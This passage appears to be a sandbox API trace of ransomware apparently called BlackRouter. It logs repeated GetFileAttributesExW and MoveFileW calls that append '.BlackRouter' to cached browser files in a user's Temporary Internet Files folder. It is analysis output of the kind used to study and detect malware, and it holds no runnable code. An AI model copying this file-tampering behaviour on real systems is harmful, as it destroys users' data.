(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[1].js.blackrouter")) returned 1 [0062.426] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7b1 [0062.455] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe6dfad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe6dfad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcbbde6f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0062.455] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\ContainerTag[2].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\containertag[2].js.blackrouter")) returned 1 [0062.456] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9f32 [0062.471] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61282d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61282d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbc04850, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9f40)) returned 1 [0062.472] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js.blackrouter")) returned 1 [0062.480] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x135 [0062.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454c4930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454c4930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbc2a9b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x140)) returned 1 [0062.491] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png.blackrouter")) returned 1 [0062.492] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x28e [0062.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbc50b10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x290)) returned 1 [0062.504] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3vOVA[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3vova[1].png.blackrouter")) returned 1 [0062.505] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1cd [0062.518] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539049f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539049f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbc76c70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0062.518] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA42EP9[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa42ep9[1].png.blackrouter")) returned 1 [0062.519] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x191 [0062.523] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x514ddbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x514ddbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbc76c70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0062.523] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA54rQj[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa54rqj[1].png.blackrouter")) returned 1 [0062.525] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x19d [0062.533] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbc9cdd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0062.534] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA61yi9[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa61yi9[1].png.blackrouter")) returned 1 [0062.535] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2c8 [0062.539] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52fa5350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52fa5350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbc9cdd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1 [0062.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA8uCo4[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa8uco4[1].png.blackrouter")) returned 1 [0062.541] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x342 [0062.545] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4593b270, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4593b270, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbc9cdd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x350)) returned 1 [0062.545] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AAdAVrM[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aadavrm[1].png.blackrouter")) returned 1 [0062.546] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1d0 [0062.560] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454c4930, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454c4930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbcc2f30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1e0)) returned 1 [0062.560] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png.blackrouter")) returned 1 [0062.562] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x310 [0062.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45725f30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbce9090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x320)) returned 1 [0062.574] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png.blackrouter")) returned 1 [0062.575] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x120 [0062.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45987530, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45987530, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbd0f1f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0062.583] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png.blackrouter")) returned 1 [0062.584] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x121 [0062.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53337450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53337450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcbd35350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0062.596] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png.blackrouter")) returned 1 [0062.597] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x18c [0062.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcbd5b4b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0062.611] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png.blackrouter")) returned 1 [0062.612] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x168 [0062.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcbd81610, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x170)) returned 1 [0062.626] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png.blackrouter")) returned 1 [0062.627] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xf3 [0062.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBg3ODX[2].png" (normalized: "c:\\users\\5p5nrgjn0js 